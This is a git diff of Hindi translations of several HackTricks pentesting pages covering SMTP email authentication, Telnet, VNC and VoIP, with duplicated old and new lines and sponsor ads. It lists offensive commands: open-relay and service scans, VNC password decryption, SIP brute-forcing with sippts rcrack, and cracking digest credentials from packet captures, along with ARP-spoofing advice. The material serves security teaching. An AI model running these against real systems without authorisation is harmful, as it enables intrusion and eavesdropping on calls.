DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट (MTAs) द्वारा मान्यता प्राप्त की जा सके, जो DNS से डोमेन की सार्वजनिक कुंजी को पुनः प्राप्त करता है। यह सार्वजनिक कुंजी एक डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।
उदाहरण के लिए, कुंजी का अनुरोध करने के लिए, डोमेन नाम और चयनकर्ता आवश्यक हैं। इन्हें मेल हेडर `DKIM-Signature` में पाया जा सकता है, जैसे, `d=gmail.com;s=20120113`
@ -352,10 +356,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | --------------------------------------------- | ------------------------------- |
| v | प्रोटोकॉल संस्करण | v=DMARC1 |
| pct | फ़िल्टरिंग के अधीन संदेशों का प्रतिशत | pct=20 |
| ruf | फोरेंसिक रिपोर्टों के लिए रिपोर्टिंग URI | ruf=mailto:authfail@example.com |
| rua | समग्र रिपोर्टों का रिपोर्टिंग URI | rua=mailto:aggrep@example.com |
| ruf | फोरेंसिक रिपोर्टों के लिए रिपोर्टिंग यूआरआई | ruf=mailto:authfail@example.com |
| rua | समग्र रिपोर्टों का रिपोर्टिंग यूआरआई | rua=mailto:aggrep@example.com |
| p | संगठनात्मक डोमेन के लिए नीति | p=quarantine |
| sp | OD के उपडोमेन के लिए नीति | sp=reject |
| sp | ओडी के उपडोमेन के लिए नीति | sp=reject |
| adkim | DKIM के लिए संरेखण मोड | adkim=s |
| aspf | SPF के लिए संरेखण मोड | aspf=r |
@ -363,13 +367,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
**यहां से** [**यहां**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
आपको प्रत्येक उपडोमेन के लिए अलग SPF रिकॉर्ड होना चाहिए जिससे आप मेल भेजना चाहते हैं।\
यह निम्नलिखित मूल रूप से openspf.org पर पोस्ट किया गया था, जो इस प्रकार की चीजों के लिए एक शानदार संसाधन था।
यह निम्नलिखित मूल रूप से openspf.org पर पोस्ट किया गया था, जो इस तरह की चीजों के लिए एक शानदार संसाधन था।
> डेमन प्रश्न: उपडोमेन के बारे में क्या?
>
> यदि मुझे pielovers.demon.co.uk से मेल मिलता है, और pielovers के लिए कोई SPF डेटा नहीं है, तो क्या मुझे एक स्तर पीछे जाकर demon.co.uk के लिए SPF का परीक्षण करना चाहिए? नहीं। डेमन पर प्रत्येक उपडोमेन एक अलग ग्राहक है, और प्रत्येक ग्राहक की अपनी नीति हो सकती है। डेमन की नीति का सभी ग्राहकों पर डिफ़ॉल्ट रूप से लागू होना समझ में नहीं आता; यदि डेमन ऐसा करना चाहता है, तो वह प्रत्येक उपडोमेन के लिए SPF रिकॉर्ड सेट कर सकता है।
>
> इसलिए SPF प्रकाशकों के लिए सलाह यह है: आपको प्रत्येक उपडोमेन या होस्टनाम के लिए SPF रिकॉर्ड जोड़ना चाहिए जिसमें A या MX रिकॉर्ड ह
> इसलिए SPF प्रकाशकों के लिए सलाह यह है: आपको प्रत्येक उपडोमेन या होस्टनाम के लिए एक SPF रिकॉर्ड जोड़ना चाहिए जिसमें A या MX रिकॉर्ड ह
>
> वाइल्डकार्ड A या MX रिकॉर्ड वाले साइटों के पास भी वाइल्डकार्ड SPF रिकॉर्ड होना चाहिए, इस रूप में: \* IN TXT "v=spf1 -all"
@ -383,7 +387,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
```bash
mynetworks = 0.0.0.0/0
```
ईमेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` उपकरण का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
ईमेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशेष स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -508,7 +512,7 @@ s.sendmail(sender, [destination], msg_data)
* लिंक हेरफेर तकनीकें
* संदिग्ध (असामान्य) अटैचमेंट
* टूटी हुई ईमेल सामग्री
* उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
* उपयोग किए गए मान जो मेल हेडर से भिन्न हैं
* एक मान्य और विश्वसनीय SSL प्रमाणपत्र का अस्तित्व
* वेब सामग्री फ़िल्टरिंग साइटों पर पृष्ठ का सबमिशन
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाती हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### एक हैकर के दृष्टिकोण से अपने वेब ऐप्स, नेटवर्क और क्लाउड का मूल्यांकन करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -597,7 +603,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**तुरंत उपलब्ध सेटअप कमजोरियों के आकलन और पेनटेस्टिंग के लिए**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -48,7 +50,7 @@ DATA कमांड के साथ ईमेल सामग्री का
इस कमांड का उपयोग क्लाइंट और सर्वर के बीच भूमिकाओं को उलटने के लिए किया जाता है, बिना एक नई कनेक्शन चलाने की आवश्यकता के।
**AUTH**\
AUTH कमांड के साथ, क्लाइंट अपने उपयोगकर्ता नाम और पासवर्ड देकर सर्वर के लिए खुद को प्रमाणित करता है। यह एक उचित ट्रांसमिशन की गारंटी देने के लिए सुरक्षा की एक और परत है।
AUTH कमांड के साथ, क्लाइंट अपने उपयोगकर्ता नाम और पासवर्ड देकर सर्वर के लिए अपनी पहचान करता है। यह उचित ट्रांसमिशन की गारंटी देने के लिए सुरक्षा की एक और परत है।
**RSET**\
यह सर्वर को सूचित करता है कि चल रही ईमेल ट्रांसमिशन समाप्त होने जा रही है, हालांकि SMTP वार्तालाप बंद नहीं होगा (जैसे QUIT के मामले में)।
@ -57,14 +59,16 @@ AUTH कमांड के साथ, क्लाइंट अपने उप
यह SMTP कमांड एक मेलिंग सूची की पहचान के बारे में पुष्टि के लिए पूछता है।
**HELP**\
यह क्लाइंट का एक अनुरोध है कुछ जानकारी के लिए जो ईमेल के सफल ट्रांसफर के लिए उपयोगी हो सकती है।
यह क्लाइंट का एक अनुरोध है जो ईमेल के सफल ट्रांसफर के लिए उपयोगी जानकारी मांगता है।
**QUIT**\
यह SMTP वार्तालाप को समाप्त करता है।
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**तुरंत उपलब्ध सेटअप कमजोरियों के आकलन और पेनटेस्टिंग के लिए**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरियों के आकलन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव हो।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण किया जा सके, सुरक्षा मुद्दों को खोजा जा सके जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **बुनियादी जानकारी**
## **Basic Information**
Telnet एक नेटवर्क प्रोटोकॉल है जो उपयोगकर्ताओं को नेटवर्क के माध्यम से एक कंप्यूटर तक पहुँचने का असुरक्षित तरीका देता है।
Telnet एक नेटवर्क प्रोटोकॉल है जो उपयोगकर्ताओं को नेटवर्क के माध्यम से एक कंप्यूटर तक पहुँचने का असुरक्षित तरीका प्रदान करता है।
**डिफ़ॉल्ट पोर्ट:** 23
```
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाती हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -100,8 +104,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,6 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
**वर्चुअल नेटवर्क कंप्यूटिंग (VNC)** एक मजबूत ग्राफिकल डेस्कटॉप-शेयरिंग सिस्टम है जो **रिमोट फ्रेम बफर (RFB)** प्रोटोकॉल का उपयोग करता है ताकि किसी अन्य कंप्यूटर के साथ रिमोट कंट्रोल और सहयोग सक्षम हो सके। VNC के साथ, उपयोगकर्ता कीबोर्ड और माउस इवेंट्स को द्विदिशीय रूप से प्रसारित करके एक रिमोट कंप्यूटर के साथ सहजता से इंटरैक्ट कर सकते हैं। यह वास्तविक समय में पहुंच की अनुमति देता है और नेटवर्क पर कुशल रिमोट सहायता या सहयोग को सुविधाजनक बनाता है।
@ -35,7 +41,7 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
## VNC पासवर्ड को डिक्रिप्ट करना
## VNC पासवर्ड डिक्रिप्ट करना
डिफ़ॉल्ट **पासवर्ड संग्रहीत है**: \~/.vnc/passwd
@ -44,9 +50,9 @@ vncviewer [-passwd passwd.txt] <IP>::5901
make
vncpwd <vnc password file>
```
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो साधारण पाठ VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, सालों पहले उलट दिया गया था।\
**Windows** के लिए आप इस उपकरण का भी उपयोग कर सकते हैं: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
मैं यहाँ भी उपकरण को सहेजता हूँ ताकि पहुँच में आसानी हो:
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो स्पष्ट-टेक्स्ट VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, सालों पहले उलटा गया था।\
**Windows** के लिए आप इस टूल का भी उपयोग कर सकते हैं: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
मैं यहाँ टूल को भी सहेजता हूँ ताकि आसानी से पहुँच सकें:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -54,6 +60,12 @@ vncpwd <vnc password file>
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -64,7 +76,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,9 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP Basic Information
VoIP कैसे काम करता है, इसके बारे में जानने के लिए देखें:
VoIP के काम करने के तरीके के बारे में सीखना शुरू करने के लिए देखें:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -145,7 +153,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
एक रेड टीम द्वारा किए जाने वाले पहले कदमों में से एक उपलब्ध फोन नंबरों की खोज करना है ताकि कंपनी से संपर्क किया जा सके, इसके लिए OSINT टूल, Google Searches या वेब पेजों को स्क्रैप किया जा सकता है।
जब आपके पास फोन नंबर हो, तो आप ऑपरेटर की पहचान करने के लिए ऑनलाइन सेवाओं का उपयोग कर सकते हैं:
एक बार जब आपके पास टेलीफोन नंबर हो जाएं, तो आप ऑपरेटर की पहचान करने के लिए ऑनलाइन सेवाओं का उपयोग कर सकते हैं:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
@ -204,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS स्कैन UDP, TCP या TLS पर SIP सेवाओं के लिए एक बहुत तेज़ स्कैनर है। यह मल्टीथ्रेड का उपयोग करता है और बड़े नेटवर्क रेंज को स्कैन कर सकता है। यह पोर्ट रेंज को आसानी से इंगित करने, TCP और UDP दोनों को स्कैन करने, एक अन्य विधि का उपयोग करने (डिफ़ॉल्ट रूप से यह OPTIONS का उपयोग करेगा) और एक अलग User-Agent निर्दिष्ट करने की अनुमति देता है (और अधिक)
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS स्कैन UDP, TCP या TLS पर SIP सेवाओं के लिए एक बहुत तेज़ स्कैनर है। यह मल्टीथ्रेड का उपयोग करता है और बड़े नेटवर्क रेंज को स्कैन कर सकता है। यह पोर्ट रेंज को आसानी से निर्दिष्ट करने, TCP और UDP दोनों को स्कैन करने, एक अन्य विधि का उपयोग करने (डिफ़ॉल्ट रूप से यह OPTIONS का उपयोग करेगा) और एक अलग User-Agent (और अधिक) निर्दिष्ट करने की अनुमति देता है।
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -241,11 +249,11 @@ sippts enumerate -i 10.10.0.10
```
### सर्वर प्रतिक्रियाओं का विश्लेषण
यह बहुत महत्वपूर्ण है कि हम उन हेडर का विश्लेषण करें जो एक सर्वर हमें वापस भेजता है, जो संदेश के प्रकार और हेडर पर निर्भर करता है जो हम भेजते हैं। [**sippts**](https://github.com/Pepelux/sippts) से `SIPPTS send` के साथ हम व्यक्तिगत संदेश भेज सकते हैं, सभी हेडर को मैनिपुलेट कर सकते हैं, और प्रतिक्रिया का विश्लेषण कर सकते हैं।
यह बहुत महत्वपूर्ण है कि हम उन हेडर का विश्लेषण करें जो एक सर्वर हमें वापस भेजता है, जो संदेश के प्रकार और हेडर पर निर्भर करता है जो हम भेजते हैं। [**sippts**](https://github.com/Pepelux/sippts) से `SIPPTS send` के साथ हम व्यक्तिगत संदेश भेज सकते हैं, सभी हेडर को मैनिपुलेट करते हुए, और प्रतिक्रिया का विश्लेषण कर सकते हैं।
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
यह भी संभव है कि यदि सर्वर वेब्सॉकेट्स का उपयोग करता है तो डेटा प्राप्त किया जा सके। [**sippts**](https://github.com/Pepelux/sippts) से `SIPPTS wssend`ा उपयोग करके हम व्यक्तिगत WS संदेश भेज सकते हैं।
यह भी संभव है कि यदि सर्वर वेब्सॉकेट्स का उपयोग करता है तो डेटा प्राप्त किया जा सके। [**sippts**](https://github.com/Pepelux/sippts) से `SIPPTS wssend`े साथ हम व्यक्तिगत WS संदेश भेज सकते हैं।
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
@ -300,9 +308,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
यदि आप एक **Open Wifi network** के अंदर VoIP उपकरण पाते हैं, तो आप **सभी जानकारी को स्निफ** कर सकते हैं। इसके अलावा, यदि आप एक अधिक बंद नेटवर्क (Ethernet के माध्यम से जुड़े या सुरक्षित Wifi) के अंदर हैं, तो आप **PBX और गेटवे** के बीच **MitM हमले जैसे** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) कर सकते हैं ताकि जानकारी को स्निफ किया जा सके।
नेटवर्क जानकारी के बीच, आप **उपकरण प्रबंधित करने के लिए वेब क्रेडेंशियल्स**, उपयोगकर्ता **एक्सटेंशन**, **उपयोगकर्ता नाम**, **IP** पते, यहां तक कि **हैश किए गए पासवर्ड** और **RTP पैकेट** भी पा सकते हैं जिन्हें आप **बातचीत सुनने के लिए** पुन: उत्पन्न कर सकते हैं, और भी बहुत कुछ।
नेटवर्क जानकारी के बीच, आप **उपकरण प्रबंधित करने के लिए वेब क्रेडेंशियल्स**, उपयोगकर्ता **एक्सटेंशन**, **उपयोगकर्ता नाम**, **IP** पते, यहां तक कि **हैश किए गए पासवर्ड** और **RTP पैकेट** पा सकते हैं जिन्हें आप **बातचीत सुनने के लिए** पुन: उत्पन्न कर सकते हैं, और भी बहुत कुछ।
इस जानकारी को प्राप्त करने के लिए, आप Wireshark, tcpdump जैसे उपकरणों का उपयोग कर सकते हैं... लेकिन VoIP बातचीत को स्निफ करने के लिए **विशेष रूप से बनाए गए उपकरण** [**ucsniff**](https://github.com/Seabreg/ucsniff) हैं।
इस जानकारी को प्राप्त करने के लिए आप Wireshark, tcpdump जैसे उपकरणों का उपयोग कर सकते हैं... लेकिन VoIP बातचीत को स्निफ करने के लिए **विशेष रूप से बनाए गए उपकरण** [**ucsniff**](https://github.com/Seabreg/ucsniff) हैं।
{% hint style="danger" %}
ध्यान दें कि यदि **SIP संचार में TLS का उपयोग किया गया है** तो आप SIP संचार को स्पष्ट रूप से नहीं देख पाएंगे।\
@ -311,9 +319,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
#### SIP क्रेडेंशियल्स (पासवर्ड ब्रूट-फोर्स - ऑफ़लाइन)
[एक **SIP REGISTER संचार** को बेहतर समझने के लिए इ उदाहरण ी जांच करें](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ताकि आप जान सकें कि **क्रेडेंशियल्स कैसे भेजे जा रहे हैं**
[एक उदाहरण देखें ताकि आप **SIP REGISTER संचार** को बेहतर समझ सकें](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) यह जानने के लिए कि **क्रेडेंशियल्स कैसे भेजे जा रहे हैं**
* **`sipdump`** & **`sipcrack`,** **sipcrack** का हिस्सा (`apt-get install sipcrack`): ये उपकरण **pcap** से **डाइजेस्ट प्रमाणीकरण** को **निकाल** सकते हैं और उन्हें **ब्रूटफोर्स** कर सकते हैं।
* **`sipdump`** & **`sipcrack`,** **sipcrack** का हिस्सा (`apt-get install sipcrack`): ये उपकरण **pcap** से **SIP प्रोटोकॉल के भीतर** **डाइजेस्ट प्रमाणीकरण** को **निकाल** सकते हैं और **ब्रूटफोर्स** कर सकते हैं।
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -332,14 +340,14 @@ sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF कोड
**केवल SIP क्रेडेंशियल्स** ही नेटवर्क ट्रैफिक में नहीं पाए जा सकते, बल्कि DTMF कोड भी मिल सकते हैं जो उदाहरण के लिए **वॉइसमेल** तक पहुचने के लिए उपयोग किए जाते हैं।\
इन कोड को **INFO SIP संदेशों** में, **ऑडियो** में या **RTP पैकेट्स** के अंदर भेजना संभव है। यदि कोड RTP पैकेट्स के अंदर हैं, तो आप बातचीत के उस हिस्से को काट सकते हैं और उन्हें निकालने के लिए टूल multimo का उपयोग कर सकते हैं:
**केवल SIP क्रेडेंशियल्स** ही नेटवर्क ट्रैफिक में नहीं पाए जा सकते, बल्कि DTMF कोड भी मिल सकते हैं जो उदाहरण के लिए **वॉइसमेल** तक पहुचने के लिए उपयोग किए जाते हैं।\
इन कोड्स को **INFO SIP संदेशों** में, **ऑडियो** में या **RTP पैकेट्स** के अंदर भेजना संभव है। यदि कोड RTP पैकेट्स के अंदर हैं, तो आप बातचीत के उस हिस्से को काट सकते हैं और उन्हें निकालने के लिए टूल multimo का उपयोग कर सकते हैं:
```bash
multimon -a DTMF -t wac pin.wav
```
### Free Calls / Asterisks Connections Misconfigurations
Asterisk में एक कनेक्शन की अनुमति देना संभव है **क विशेष IP पते से** या **किसी भी IP पते से**:
Asterisk में एक कनेक्शन की अनुमति देना संभव है **िसी विशेष IP पते से** या **किसी भी IP पते से**:
```
host=10.10.10.10
host=dynamic
@ -359,7 +367,7 @@ host=dynamic
* **`insecure=port,invite`**: दोनों
{% hint style="warning" %}
